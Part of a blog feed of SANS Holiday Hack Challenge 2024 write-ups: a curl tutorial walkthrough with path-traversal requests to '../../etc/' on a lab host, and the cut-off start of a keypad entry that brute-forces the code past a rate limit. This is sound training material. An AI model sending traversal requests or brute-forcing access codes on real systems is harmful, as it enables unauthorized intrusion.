class_&#34;&gt;By&lt;/span&gt; riding an &lt;span class=&#34;string&#34;&gt;&amp;#x27;icicle.&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;title class_&#34;&gt;How&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;do&lt;/span&gt; you know &lt;span class=&#34;keyword&#34;&gt;when&lt;/span&gt; &lt;span class=&#34;title class_&#34;&gt;Santa&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;#x27;s around? You can always sense his presents.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;&lt;img src=&#34;/2024/11/18/2024-06-01-Hardware-Hacking-101-Part-1/06_01_98_HardwareHacking101Part1_eggnog.jpeg&#34;&gt;&lt;/p&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act1" />
        <category term="Morcel Nougat" />
        <category term="Hardware Hacking 101" />
        <category term="Hardware Hacking 101 - Part 1" />
        <category term="Jewel Loggins" />
        <updated>2024-11-18T06:01:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/11/18/2024-05-cURLing/</id>
        <title>cURLing</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/11/18/2024-05-cURLing/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄&lt;/span&gt; ❄ ❄ ❄ ❄&lt;br&gt;Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with web servers and retrieve information like a pro!&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;cURL-Manual&#34;&gt;&lt;a href=&#34;#cURL-Manual&#34; class=&#34;headerlink&#34; title=&#34;cURL Manual&#34;&gt;&lt;/a&gt;cURL Manual&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Bow Ninecandle&lt;/em&gt;&lt;br&gt;The official &lt;a href=&#34;https://curl.se/docs/manpage.html&#34;&gt;cURL man page&lt;/a&gt; has tons of useful information on how to use cURL.&lt;/p&gt;
&lt;h3 id=&#34;cURL-Don’t-squash&#34;&gt;&lt;a href=&#34;#cURL-Don’t-squash&#34; class=&#34;headerlink&#34; title=&#34;cURL: Don’t squash&#34;&gt;&lt;/a&gt;cURL: Don’t squash&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Bow Ninecandle&lt;/em&gt;&lt;br&gt;Take a look at cURL’s “–path-as-is” option; it controls a default behavior that you may not expect!&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Welcome to Curling Fun!  We will learn some basic curl commands &lt;span class=&#34;keyword&#34;&gt;while&lt;/span&gt; playing a round of curling.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Are you ready to begin? [y]es: &lt;span class=&#34;built_in&#34;&gt;yes&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1) Unlike the defined standards of a curling sheet, embedded devices often have web servers on non-standard ports.  Use curl to retrieve the web page on host &lt;span class=&#34;string&#34;&gt;&amp;quot;curlingfun&amp;quot;&lt;/span&gt; port 8080.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;If you need &lt;span class=&#34;built_in&#34;&gt;help&lt;/span&gt;, run the &lt;span class=&#34;string&#34;&gt;&amp;#x27;hint&amp;#x27;&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;command&lt;/span&gt;.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl http://curlingfun:8080&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;You have successfully accessed the site on port 8080!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;If you need &lt;span class=&#34;built_in&#34;&gt;help&lt;/span&gt;, please remember to run &lt;span class=&#34;string&#34;&gt;&amp;quot;hint&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; a hint!&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;2) Embedded devices often use self-signed certificates, &lt;span class=&#34;built_in&#34;&gt;where&lt;/span&gt; your browser will not trust the certificate presented.  Use curl to retrieve the TLS-protected web page at https://curlingfun:9090/&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;You have successfully bypassed the self-signed certificate warning!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Subsequent requests will &lt;span class=&#34;built_in&#34;&gt;continue&lt;/span&gt; to require &lt;span class=&#34;string&#34;&gt;&amp;quot;--insecure&amp;quot;&lt;/span&gt;, or &lt;span class=&#34;string&#34;&gt;&amp;quot;-k&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; short.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;If you need &lt;span class=&#34;built_in&#34;&gt;help&lt;/span&gt;, please remember to run &lt;span class=&#34;string&#34;&gt;&amp;quot;hint&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; a hint!&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;3) Working with APIs and embedded devices often requires making HTTP POST requests. Use curl to send a request to https://curlingfun:9090/ with the parameter &lt;span class=&#34;string&#34;&gt;&amp;quot;skip&amp;quot;&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;set&lt;/span&gt; to the value &lt;span class=&#34;string&#34;&gt;&amp;quot;alabaster&amp;quot;&lt;/span&gt;, declaring Alabaster as the team captain.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -d skip=alabaster&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;You have successfully made a POST request!&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;4) Working with APIs and embedded devices often requires maintaining session state by passing a cookie.  Use curl to send a request to https://curlingfun:9090/ with a cookie called &lt;span class=&#34;string&#34;&gt;&amp;quot;end&amp;quot;&lt;/span&gt; with the value &lt;span class=&#34;string&#34;&gt;&amp;quot;3&amp;quot;&lt;/span&gt;, indicating we&lt;span class=&#34;string&#34;&gt;&amp;#x27;re on the third end of the curling match.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -b end=3&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;You have successfully set a cookie!&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;5) Working with APIs and embedded devices sometimes requires working with raw HTTP headers.  Use curl to view the HTTP headers returned by a request to https://curlingfun:9090/&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -i&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Server: nginx/1.18.0 (Ubuntu)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Date: Sun, 17 Nov 2024 21:32:00 GMT&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Content-Type: text/plain;charset=UTF-8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Transfer-Encoding: chunked&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Connection: keep-alive&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Custom-Header: You have found the custom header!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;You have successfully bypassed the self-signed certificate warning!&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Subsequent requests will &lt;span class=&#34;built_in&#34;&gt;continue&lt;/span&gt; to require &lt;span class=&#34;string&#34;&gt;&amp;quot;--insecure&amp;quot;&lt;/span&gt;, or &lt;span class=&#34;string&#34;&gt;&amp;quot;-k&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; short.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;If you need &lt;span class=&#34;built_in&#34;&gt;help&lt;/span&gt;, please remember to run &lt;span class=&#34;string&#34;&gt;&amp;quot;hint&amp;quot;&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;for&lt;/span&gt; a hint!&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;6) Working with APIs and embedded devices sometimes requires working with custom HTTP headers.  Use curl to send a request to https://curlingfun:9090/ with an HTTP header called &lt;span class=&#34;string&#34;&gt;&amp;quot;Stone&amp;quot;&lt;/span&gt; and the value &lt;span class=&#34;string&#34;&gt;&amp;quot;Granite&amp;quot;&lt;/span&gt;.&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -H &lt;span class=&#34;string&#34;&gt;&amp;quot;Stone:Granite&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;You have successfully &lt;span class=&#34;built_in&#34;&gt;set&lt;/span&gt; a custom HTTP header!&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;7) curl will modify your URL unless you tell it not to.  For example, use curl to retrieve the following URL containing special characters: https://curlingfun:9090/../../etc/hacks&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090/../../etc/hacks --path-as-is&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;You have successfully utilized --path-as-is to send a raw path!&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;Great work! &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Once HHC grants your achievement, you may close this terminal.&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;h2 id=&#34;Gold-trophy&#34;&gt;&lt;a href=&#34;#Gold-trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold trophy&#34;&gt;&lt;/a&gt;Gold trophy&lt;/h2&gt;&lt;p&gt;The instructions to get start on the gold trophy are in the file &lt;code&gt;HARD-MODE.txt&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ &lt;span class=&#34;built_in&#34;&gt;cat&lt;/span&gt; HARD-MODE.txt &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Prefer to skip ahead without guidance?  Use curl to craft a request meeting these requirements:&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;- HTTP POST request to https://curlingfun:9090/&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;- Parameter &lt;span class=&#34;string&#34;&gt;&amp;quot;skip&amp;quot;&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;set&lt;/span&gt; to &lt;span class=&#34;string&#34;&gt;&amp;quot;bow&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;- Cookie &lt;span class=&#34;string&#34;&gt;&amp;quot;end&amp;quot;&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;set&lt;/span&gt; to &lt;span class=&#34;string&#34;&gt;&amp;quot;10&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;- Header &lt;span class=&#34;string&#34;&gt;&amp;quot;Hack&amp;quot;&lt;/span&gt; &lt;span class=&#34;built_in&#34;&gt;set&lt;/span&gt; to &lt;span class=&#34;string&#34;&gt;&amp;quot;12ft&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -d skip=bow -b end=10 -H &lt;span class=&#34;string&#34;&gt;&amp;quot;Hack:12ft&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Excellent!  Now, use curl to access this URL: https://curlingfun:9090/../../etc/button&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090/../../etc/button --path-as-is&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Great!  Finally, use curl to access the page that this URL redirects to: https://curlingfun:9090/GoodSportsmanship&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;alabaster@curlingfun:~$ curl -k https://curlingfun:9090/GoodSportsmanship -L&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Excellent work, you have solved hard mode!  You may close this terminal once HHC grants your achievement.&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act1" />
        <category term="cURLing" />
        <category term="Bow Ninecandle" />
        <updated>2024-11-18T05:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/11/18/2024-04-Frosty-Keypad/</id>
        <title>Frosty Keypad</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/11/18/2024-04-Frosty-Keypad/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄&lt;/span&gt; ❄ ❄ ❄ ❄&lt;br&gt;In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa’s lost secrets?&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;Who-Are-You-Calling-a-Dorf&#34;&gt;&lt;a href=&#34;#Who-Are-You-Calling-a-Dorf&#34; class=&#34;headerlink&#34; title=&#34;Who Are You Calling a Dorf?&#34;&gt;&lt;/a&gt;Who Are You Calling a Dorf?&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Morcel Nougat&lt;/em&gt;&lt;br&gt;Hmmmm. I know I have seen Santa and the other elves use this keypad. I wonder what it contains. I bet whatever is in there is a &lt;strong&gt;National Treasure&lt;/strong&gt;!&lt;/p&gt;
&lt;h3 id=&#34;Just-Some-Light-Reading&#34;&gt;&lt;a href=&#34;#Just-Some-Light-Reading&#34; class=&#34;headerlink&#34; title=&#34;Just Some Light Reading&#34;&gt;&lt;/a&gt;Just Some Light Reading&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Morcel Nougat&lt;/em&gt;&lt;br&gt;See if you can find a copy of that book everyone seems to be reading these days. I thought I saw somebody drop one close by…&lt;/p&gt;
&lt;h3 id=&#34;Shine-Some-Light-on-It&#34;&gt;&lt;a href=&#34;#Shine-Some-Light-on-It&#34; class=&#34;headerlink&#34; title=&#34;Shine Some Light on It&#34;&gt;&lt;/a&gt;Shine Some Light on It&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Morcel Nougat&lt;/em&gt;&lt;br&gt;Well this is puzzling. I wonder if Santa has a seperate code. Bet that would cast some light on the problem. I know this is a stretch…but…what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at least limit the possible digits being used…&lt;/p&gt;
&lt;h2 id=&#34;Gold-Silver-trophy&#34;&gt;&lt;a href=&#34;#Gold-Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Gold &amp;amp; Silver trophy&#34;&gt;&lt;/a&gt;Gold &amp;amp; Silver trophy&lt;/h2&gt;&lt;p&gt;Before finding the UV light on the ground I noticed it was being checked in the JS and I was able to use it executing the function &lt;code&gt;uvLight.setVisible(true)&lt;/code&gt; from the console, thus revealing fingerprints on the keys:&lt;br&gt;&lt;img src=&#34;/2024/11/18/2024-04-Frosty-Keypad/04_03_FrostyKeypad_fingerprints.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;I know and noticed that the challenge was about cryptography, suggesting that the note would lead to a combination through the book…that said I’m lazy and the keypad allowed up to 5 numbers, so I bruteforced it :)  &lt;/p&gt;
&lt;p&gt;I wrote a quick &lt;code&gt;python&lt;/code&gt; script and slightly adjusted it after noticing I was getting rate limited with the errore &lt;code&gt;&amp;#123;&amp;quot;error&amp;quot;:&amp;quot;Too many requests from this User-Agent. Limited to 1 requests per 1 seconds.&amp;quot;&amp;#125;&lt;/code&gt;:&lt;/p&gt;
